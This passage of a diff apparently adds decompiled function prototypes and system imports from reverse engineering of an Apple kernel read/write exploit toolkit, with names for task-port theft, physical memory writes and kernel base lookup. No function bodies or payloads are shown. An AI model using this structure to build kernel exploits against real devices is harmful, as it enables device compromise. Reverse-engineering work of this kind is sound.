__int64 a2); +__int64 __fastcall sub_3338C(__int64); +__int64 __fastcall krw_task_for_pid_0(struct_krwCtx *a1, __int64 a2, int pid); +__int64 __fastcall sub_3341C(struct_krwCtx *a1, __int64 a2, int pid, const char *a4); +__int64 __fastcall krw_task_for_name(__int64 a1, __int64 a2, const char *a3); +__int64 __fastcall sub_336B8(struct_krwCtx *a1, __int64 a2, _DWORD *a3, _DWORD *a4); +__int64 __fastcall sub_3382C(__int64 a1, mach_port_name_t task, _DWORD *a3, _DWORD *a4); +__int64 __fastcall task_get_ipc_port_ptr(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port); +__int64 __fastcall task_self_get_ipc_port_ptr(__int64 a1, unsigned int a2); +unsigned __int64 __fastcall task_get_ipc_port(struct_krwCtx *ctx, mach_port_name_t task, mach_port_t port); +__int64 __fastcall sub_33A88(struct_krwCtx *a1, __int64 a2, char a3); +__int64 __fastcall sub_33B98(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3); +unsigned __int64 __fastcall sub_33CB0(struct_krwCtx *a1, unsigned int a2); +unsigned __int64 __fastcall sub_33D38(__int64 krwCtx, unsigned int port, unsigned __int64 a3, unsigned __int64 *a4); +unsigned __int64 __fastcall sub_33E8C(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_33ED8(struct_krwCtx *a1, __int64 a2); +unsigned __int64 __fastcall sub_33FFC(struct_krwCtx *a1, mach_port_t a2); +unsigned __int64 __fastcall sub_34048(struct_krwCtx *a1, __int64 a2, _QWORD *a3); +__int64 __fastcall sub_340D8(struct_krwCtx *a1, unsigned int a2, _QWORD *a3); +unsigned __int64 __fastcall sub_3412C(struct_krwCtx *a1, unsigned int a2); +unsigned __int64 __fastcall sub_34298(struct_krwCtx *a1, unsigned int a2); +unsigned __int64 __fastcall sub_34358(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_343E0(struct_krwCtx *a1); +__int64 __fastcall sub_345D4(__int64 a1, unsigned int a2); +unsigned __int64 __fastcall sub_34680(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_34754(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_3481C(__int64); +__int64 __fastcall sub_348BC(__int64); +__int64 __fastcall sub_3492C(struct_krwCtx *a1, __int64 a2); +unsigned __int64 __fastcall sub_349C8(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_34A40(__int64 a1, __int64 a2); +__int64 __fastcall sub_34D14(__int64 a1, unsigned int a2); +unsigned __int64 __fastcall sub_34D58(struct_krwCtx *a1, unsigned int a2, int a3); +unsigned __int64 __fastcall sub_34F5C(struct_krwCtx *a1, unsigned int a2, int a3, unsigned int *a4); +unsigned __int64 __fastcall sub_34FF8(__int64 a1, unsigned int a2, unsigned int *a3); +__int64 __fastcall sub_35004(__int64 a1, int a2, __int64 a3, unsigned int *a4); +__int64 __fastcall sub_353DC(__int64); +__int64 __fastcall sub_35420(__int64, __int64); +unsigned __int64 __fastcall sub_354A4(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_35500(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_35568(struct_krwCtx *a1, unsigned int a2); +unsigned __int64 __fastcall sub_35610(__int64 a1, int a2); +__int64 __fastcall sub_356C8(struct_krwCtx *a1, unsigned int a2, __int64 *a3); +__int64 __fastcall sub_3579C(struct_krwCtx *a1, int a2, __int64 *a3); +__int64 __fastcall sub_35938(struct_krwCtx *a1, int a2, __int64 *a3); +unsigned __int64 __fastcall sub_35A50(struct_krwCtx *a1, int a2, _DWORD *a3); +void __fastcall sub_35AE0(struct_krwCtx *a1, unsigned int a2, __int64 a3); +mach_vm_address_t __fastcall sub_35D94(__int64 a1, __int64 a2, int a3); +__int64 __fastcall sub_35E18(struct_krwCtx *a1, __int64 a2, int a3); +__int64 __fastcall sub_35E8C(__int64 a1, __int64 a2); +__int64 __fastcall sub_35ECC(struct_krwCtx *a1, unsigned __int64 a2, int a3); +__int64 __fastcall sub_35FD8(struct_krwCtx *a1, unsigned __int64 a2); +__int64 __fastcall sub_36000(__int64 a1, __int64 a2); +_DWORD *__fastcall krw_ctx_set_flag(_DWORD *result, int); +_DWORD *__fastcall sub_36088(_DWORD *result, int); +bool __fastcall krw_ctx_has_flag(struct_krwCtx *krwCtx, int flag); +__int64 __fastcall sub_360A8(__int64 a1); +__int64 __fastcall sub_36160(struct_krwCtx *a1, unsigned int a2, __int64 *a3); +__int64 __fastcall sub_361DC(__int64 a1, unsigned int a2, __int64 a3); +bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *voucherOut); +__int64 __fastcall create_mach_port_with_a2(__int64 krwCtx, unsigned int a2); +__int64 __fastcall create_mach_port(int a1); +__int64 __fastcall sub_363E4(__int64 a1, unsigned int a2); +__int64 __fastcall sub_36480(struct_krwCtx *a1, unsigned __int64 a2, mach_port_name_t *a3); +_QWORD *__fastcall sub_36C10(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall sub_36E4C(__int64 a1, __int64 a2, __int64 size); +unsigned __int64 __fastcall sub_37210(__int64 a1, unsigned int *a2); +unsigned __int64 __fastcall sub_3796C(__int64 a1, _DWORD *a2); +__int64 __fastcall sub_37A50(struct_krwCtx *a1, unsigned int a2, int a3, int a4, __int16 a5); +__int64 __fastcall sub_37C50(int *, int *, int *, int *, int *); +__int64 __fastcall sub_37F58(__int64 a1, int a2, _QWORD *a3); +__int64 __fastcall sub_38034(int *a1, __int64 a2, int a3, int a4, __int16 a5); +__int64 __fastcall sub_38158(struct_krwCtx *a1, __int64 a2, int a3, int a4, __int16 a5); +unsigned __int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4); +__int64 __fastcall sub_38428(__int64 a1); +unsigned __int64 __fastcall sub_38544(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4); +__int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2); +__int64 __fastcall sub_386AC(struct_krwCtx *a1, unsigned __int64 a2); +__int64 __fastcall sub_38764(__int64 a1); +__int64 __fastcall sub_38870(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 a3); +double __fastcall sub_38BCC(__int64 a1, __int64 a2); +__int64 __fastcall sub_38C8C(__int64 a1, __int64 a2, __int64 a3); +void __fastcall sub_38D60(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5); +void __fastcall physwritebuf_idk_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, const void *buf, unsigned int size, int something); +__int64 __fastcall sub_38F38(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_38F6C(__int64 a1, __int64 a2, __int16 a3); +__int64 __fastcall sub_38FAC(unsigned int); +__int64 __fastcall sub_38FD4(__int64 a1, __int64 a2); +uint64_t __fastcall sub_39090(struct_krwCtx *a1, __int64 a2); +__int64 __fastcall sub_39150(__int64 x0_0); +unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __int64 optional_vtable_func); +__int64 __fastcall sub_39A24(__int64 a1, unsigned __int64 a2); +unsigned __int64 __fastcall sub_39B14(_QWORD *a1); +// void __usercall sub_39B70(_QWORD *a1@, struct_krwCtx *a2@); +__int64 __fastcall sub_39CC0(struct_krwCtx *a1, task_name_t target_task, int a3, const void *a4, mach_vm_size_t a5); +__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4); +void __fastcall sub_39FDC(struct_krwCtx *someCtx, unsigned int a2, unsigned int a3); +bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3); +__int64 __fastcall sub_3A150(__int64 a1, int a2, int a3, int a4); +bool __fastcall sub_3A57C(__int64 a1, unsigned __int64 a2, __int16 a3, int *a4); +__int64 __fastcall sub_3A5F0(__int64 a1, task_name_t a2); +unsigned __int64 __fastcall sub_3A72C(__int64 a1); +unsigned __int64 __fastcall sub_3A878(__int64 a1); +__int64 __fastcall sub_3A8DC(__int64 a1, unsigned int a2); +void __fastcall sub_3AA2C(__int64 a1, unsigned int a2, int a3); +__int64 __fastcall sub_3AD2C(struct_krwCtx *a1, unsigned int a2); +void __fastcall sub_3AE94(__int64 a1, unsigned int a2, int a3, int a4, int a5); +mach_vm_address_t __fastcall sub_3B49C(struct_krwCtx *a1, unsigned int a2, int a3); +unsigned __int64 __fastcall sub_3B524(struct_krwCtx *a1, unsigned int a2, bool *a3, bool *a4, bool *a5); +void __fastcall sub_3B7E0(__int64 a1, task_inspect_t task, host_t a3); +bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3); +bool __fastcall krw_task_for_pid_or_name(__int64 a1, int victim_pid, const char *victim_process_name, mach_port_name_t *out_task); +bool __fastcall sub_3BE3C(struct_krwCtx *a1, int a2, thread_act_t a3, thread_state_flavor_t a4, natural_t *a5, mach_msg_type_number_t a6); +__int64 __fastcall sub_3C25C(struct_krwCtx *a1, thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt); +unsigned __int64 __fastcall kernel_get_base_unslid(struct_krwCtx *a1); +__int64 __fastcall sub_3C450(__int64 a1, unsigned int a2, int a3, _BYTE *a4); +__int64 __fastcall sub_3C9A4(struct_krwCtx *a1, unsigned int a2); +__int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something); +bool __fastcall sub_3E1D8(struct_krwCtx *a1, mach_port_t a2); +__int64 __fastcall driver_init2(struct_krwCtx **krwCtxOut, char something); +__int64 __fastcall sub_3E4D0(_QWORD *a1); +__int64 __fastcall driver_dispatch_command2(struct_krwCtx *a1, int a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9); +__int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64 inoutValue); +__int64 __fastcall sub_3F2E0(__int64 a1); +__int64 __fastcall driver_close_internal(char *a1); +__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4); +__int64 __fastcall sub_3F9A0(struct_krwCtx *a1, bool *a2); +__int64 __fastcall sub_3FA2C(struct_krwCtx *a1, int a2); +__int64 __fastcall sub_3FB84(__int64 a1, __int64 *a2, __int64 *a3); +void __fastcall sub_3FE68(__int64 a1, task_inspect_t a2, host_t *a3); +_QWORD *__fastcall sub_3FED4(__int64 a1, __int64 a2); +__int64 __fastcall sub_3FF78(__int64, _QWORD *, __int64); +unsigned __int64 __fastcall sub_3FF8C(_QWORD **a1, __int64 a2, __int64 a3, unsigned int a4); +unsigned __int64 __fastcall sub_3FFA0(__int64, _QWORD *, __int64, __int64, unsigned int); +unsigned __int64 __fastcall sub_40024(__int64 a1, __int64 a2, __int64 a3, unsigned int a4); +_QWORD *__fastcall sub_40038(__int64 a1, const char *a2); +__int64 __fastcall sub_4014C(_QWORD *a1); +__int64 __fastcall sub_401A4(__int64 result, __int64); +__int64 __fastcall sub_40210(__int64); +__int64 __fastcall sub_40230(__int64, _OWORD *, _DWORD *); +__int64 __fastcall sub_402CC(__int64 a1, unsigned int a2); +__int64 __fastcall sub_40364(__int64, unsigned __int64, unsigned int, unsigned int); +unsigned __int64 __fastcall sub_403E0(__int64 a1, const char *a2); +__int64 __fastcall sub_4062C(struct_krwCtx *a1, __int64 a2); +__int64 __fastcall sub_4087C(struct_krwCtx *a1, __int64 a2, mach_vm_size_t a3, unsigned __int64 a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6); +__int64 __fastcall sub_40CBC(struct_krwCtx *a1, __int64 a2, unsigned int a3, __int64 *a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6); +__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2); +int __fastcall j__fileport_makefd(mach_port_t); +__int64 __fastcall sub_40FB0(__int64 a1, __int64 a2, __int64 a3); +__int64 __fastcall sub_40FDC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5); +__int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6); +__int64 j___get_cpu_capabilities(void); // weak +unsigned __int64 sub_41040(); +#if 0 +int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c); +int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c); +int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len); +int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c); +int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c); +int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len); +int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c); +int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c); +int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len); +void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value); +void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context); +Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value); +CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray); +CFTypeID CFArrayGetTypeID(void); +CFTypeID CFBooleanGetTypeID(void); +CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length); +CFDataRef __cdecl CFDataCreateWithBytesNoCopy(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); +const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData); +CFIndex __cdecl CFDataGetLength(CFDataRef theData); +CFTypeID CFDataGetTypeID(void); +void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value); +void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context); +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDictionaryRef theDict); +CFTypeID CFDictionaryGetTypeID(void); +Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value); +void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value); +Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2); +CFTypeID __cdecl CFGetTypeID(CFTypeRef cf); +CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr); +CFTypeID CFNumberGetTypeID(void); +Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr); +CFDataRef __cdecl CFPropertyListCreateData(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFPropertyListFormat format, CFOptionFlags options, CFErrorRef *error); +CFPropertyListRef __cdecl CFPropertyListCreateWithData(CFAllocatorRef allocator, CFDataRef data, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error); +CFPropertyListRef __cdecl CFPropertyListCreateWithStream(CFAllocatorRef allocator, CFReadStreamRef stream, CFIndex streamLength, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error); +void __cdecl CFReadStreamClose(CFReadStreamRef stream); +CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); +Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream); +void __cdecl CFRelease(CFTypeRef cf); +void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode); +CFRunLoopRef CFRunLoopGetCurrent(void); +void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode); +CFRunLoopRunResult __cdecl CFRunLoopRunInMode(CFRunLoopMode mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled); +CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding); +Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding); +CFStringEncoding CFStringGetSystemEncoding(void); +CFTypeID CFStringGetTypeID(void); +Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix); +CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options); +kern_return_t __cdecl IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); +kern_return_t __cdecl IOConnectCallScalarMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, uint64_t *output, uint32_t *outputCnt); +kern_return_t __cdecl IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); +kern_return_t __cdecl IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4); +kern_return_t __cdecl IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); +io_object_t __cdecl IOIteratorNext(io_iterator_t iterator); +IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort); +void __cdecl IONotificationPortDestroy(IONotificationPortRef notify); +CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify); +kern_return_t __cdecl IOObjectRelease(io_object_t object); +kern_return_t __cdecl IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, IOOptionBits options); +CFTypeRef __cdecl IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); +io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path); +kern_return_t __cdecl IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator); +CFTypeRef __cdecl IORegistryEntrySearchCFProperty(io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); +kern_return_t __cdecl IOServiceAddMatchingNotification(IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void *refCon, io_iterator_t *notification); +kern_return_t __cdecl IOServiceClose(io_connect_t connect); +io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching); +CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name); +kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); +kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime); +__int64 _CFProcessPath(); +__int64 _IOServiceSetAuthorizationID(); +int *__error(void); +__int64 __memcpy_chk(); +__int64 __memset_chk(); +__int64 __semwait_signal(); +__int64 __strlcpy_chk(); +__int64 __ulock_wait(); +__int64 __ulock_wake(); +__int64 _get_cpu_capabilities(); +__int64 _os_alloc_once(); +void __cdecl arc4random_buf(void *__buf, size_t __nbytes); +void __cdecl bzero(void *, size_t); +void *__cdecl calloc(size_t __count, size_t __size); +int __cdecl chown(const char *, uid_t, gid_t); +int __cdecl close(int); +int __cdecl connect(int, const sockaddr *, socklen_t); +int __cdecl dlclose(void *__handle); +void *__cdecl dlopen(const char *__path, int __mode); +void *__cdecl dlsym(void *__handle, const char *__symbol); +int fcntl(int, int, ...); +int __cdecl ffsctl(int, unsigned __int64, void *, unsigned int); +__int64 fileport_makefd(); +void __cdecl free(void *); +int __cdecl fstat(int, stat *); +int __cdecl getattrlist(const char *, void *, void *, size_t, unsigned int); +int __cdecl getmntinfo(statfs **, int); +pid_t getpid(void); +pid_t getppid(void); +uid_t getuid(void); +kern_return_t __cdecl host_create_mach_voucher(host_t host, mach_voucher_attr_raw_recipe_array_t recipes, mach_msg_type_number_t recipesCnt, ipc_voucher_t *voucher); +kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master); +kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port); +kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version); +kern_return_t __cdecl host_page_size(host_t, vm_size_t *); +kern_return_t __cdecl host_processors(host_priv_t host_priv, processor_array_t *out_processor_list, mach_msg_type_number_t *out_processor_listCnt); +kern_return_t __cdecl host_security_set_task_token(host_security_t host_security, task_t target_task, security_token_t sec_token, audit_token_t *__struct_ptr audit_token, host_t host); +int ioctl(int, unsigned __int64, ...); +int __cdecl lstat(const char *, stat *); +uint64_t mach_absolute_time(void); +mach_port_t mach_host_self(void); +kern_return_t __cdecl mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry); +kern_return_t __cdecl mach_make_memory_entry_64(vm_map_t target_task, memory_object_size_t *size, memory_object_offset_t offset, vm_prot_t permission, mach_port_t *object_handle, mem_entry_name_port_t parent_entry); +mach_msg_return_t __cdecl mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); +void __cdecl mach_msg_destroy(mach_msg_header_t *); +mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *); +kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name); +kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name); +kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name); +kern_return_t __cdecl mach_port_get_attributes(ipc_space_read_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info_out, mach_msg_type_number_t *port_info_outCnt); +kern_return_t __cdecl mach_port_insert_right(ipc_space_t task, mach_port_name_t name, mach_port_t poly, mach_msg_type_name_t polyPoly); +kern_return_t __cdecl mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta); +kern_return_t __cdecl mach_port_request_notification(ipc_space_t task, mach_port_name_t name, mach_msg_id_t msgid, mach_port_mscount_t sync, mach_port_t notify, mach_msg_type_name_t notifyPoly, mach_port_t *previous); +kern_return_t __cdecl mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt); +kern_return_t __cdecl mach_port_space_info(ipc_space_read_t space, ipc_info_space_t *space_info, ipc_info_name_array_t *table_info, mach_msg_type_number_t *table_infoCnt, ipc_info_tree_name_array_t *tree_info, mach_msg_type_number_t *tree_infoCnt); +kern_return_t __cdecl mach_ports_register(task_t target_task, mach_port_array_t init_port_set, mach_msg_type_number_t init_port_setCnt); +__int64 mach_reply_port(); +mach_port_t mach_thread_self(void); +kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info); +kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); +kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); +kern_return_t __cdecl mach_vm_machine_attribute(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_machine_attribute_t attribute, vm_machine_attribute_val_t *value); +kern_return_t __cdecl mach_vm_page_info(vm_map_read_t target_task, mach_vm_address_t address, vm_page_info_flavor_t flavor, vm_page_info_t info, mach_msg_type_number_t *infoCnt); +kern_return_t __cdecl mach_vm_read_overwrite(vm_map_read_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); +kern_return_t __cdecl mach_vm_wire(host_priv_t host_priv, vm_map_t task, mach_vm_address_t address, mach_vm_size_t size, vm_prot_t desired_access); +kern_return_t __cdecl mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); +int __cdecl madvise(void *, size_t, int); +void *__cdecl malloc(size_t __size); +int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n); +void *__cdecl memcpy(void *__dst, const void *__src, size_t __n); +void __cdecl mig_dealloc_reply_port(mach_port_t reply_port); +mach_port_t mig_get_reply_port(void); +int __cdecl mkdir(const char *, mode_t); +char *__cdecl mktemp(char *); +void *__cdecl mmap(void *, size_t, int, int, int, off_t); +int __cdecl mount(const char *, const char *, int, void *); +__int64 necp_client_action(); +__int64 necp_open(); +int open(const char *, int, ...); +int open_dprotected_np(const char *, int, int, int, ...); +kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x); +int __cdecl pipe(int[2]); +int __cdecl posix_spawn(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char *const __argv[], char *const __envp[]); +int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *, int, const char *, int, mode_t); +int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *); +int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *); +int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *); +int __cdecl posix_spawnattr_init(posix_spawnattr_t *); +int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *, __int16); +int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *, pid_t); +int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *, const sigset_t *); +ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t __offset); +int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize); +kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set); +kern_return_t __cdecl processor_set_info(processor_set_name_t set_name, int flavor, host_t *host, processor_set_info_t info_out, mach_msg_type_number_t *info_outCnt); +int __cdecl pthread_attr_destroy(pthread_attr_t *); +int __cdecl pthread_attr_init(pthread_attr_t *); +int __cdecl pthread_attr_setdetachstate(pthread_attr_t *, int); +int __cdecl pthread_create(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *); +int __cdecl pthread_create_suspended_np(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *); +pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t); +int __cdecl pthread_join(pthread_t, void **); +mach_port_t __cdecl pthread_mach_thread_np(pthread_t); +int __cdecl pthread_mutex_destroy(pthread_mutex_t *); +int __cdecl pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *); +int __cdecl pthread_mutex_lock(pthread_mutex_t *); +int __cdecl pthread_mutex_unlock(pthread_mutex_t *); +pthread_t pthread_self(void); +void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *)); +ssize_t __cdecl read(int, void *, size_t); +void *__cdecl realloc(void *__ptr, size_t __size); +int __cdecl rmdir(const char *); +__int64 __fastcall sandbox_check(int pid); +int sched_yield(void); +kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value); +kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore); +kern_return_t __cdecl semaphore_signal(semaphore_t semaphore); +kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time); +kern_return_t __cdecl semaphore_wait(semaphore_t semaphore); +int __cdecl seteuid(uid_t); +int __cdecl setsockopt(int, int, int, const void *, socklen_t); +int snprintf(char *__str, size_t __size, const char *__format, ...); +int __cdecl socket(int, int, int); +int sscanf(const char *, const char *, ...); +int __cdecl stat(const char *, stat *); +int __cdecl statfs(const char *, statfs *); +char *__cdecl strchr(const char *__s, int __c); +int __cdecl strcmp(const char *__s1, const char *__s2); +char *__cdecl strcpy(char *__dst, const char *__src); +char *__cdecl strdup(const char *__s1); +size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size); +size_t __cdecl strlen(const char *__s); +int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n); +char *__cdecl strsep(char **__stringp, const char *__delim); +char *__cdecl strstr(const char *__big, const char *__little); +__int64 __cdecl strtol(const char *__str, char **__endptr, int __base); +int syscall(int, ...); +int __cdecl sysctl(int *, u_int, void *, size_t *, void *, size_t); +int __cdecl sysctlbyname(const char *, void *, size_t *, void *, size_t); +kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port); +kern_return_t __cdecl task_info(task_name_t target_task, task_flavor_t flavor, task_info_t task_info_out, mach_msg_type_number_t *task_info_outCnt); +kern_return_t __cdecl task_map_corpse_info_64(task_t task, task_read_t corspe_task, mach_vm_address_t *kcd_addr_begin, mach_vm_size_t *kcd_size); +kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token); +kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port); +kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token); +kern_return_t __cdecl task_threads(task_inspect_t target_task, thread_act_array_t *act_list, mach_msg_type_number_t *act_listCnt); +kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act); +kern_return_t __cdecl thread_get_state(thread_read_t target_act, thread_state_flavor_t flavor, thread_state_t old_state, mach_msg_type_number_t *old_stateCnt); +kern_return_t __cdecl thread_policy_set(thread_act_t thread, thread_policy_flavor_t flavor, 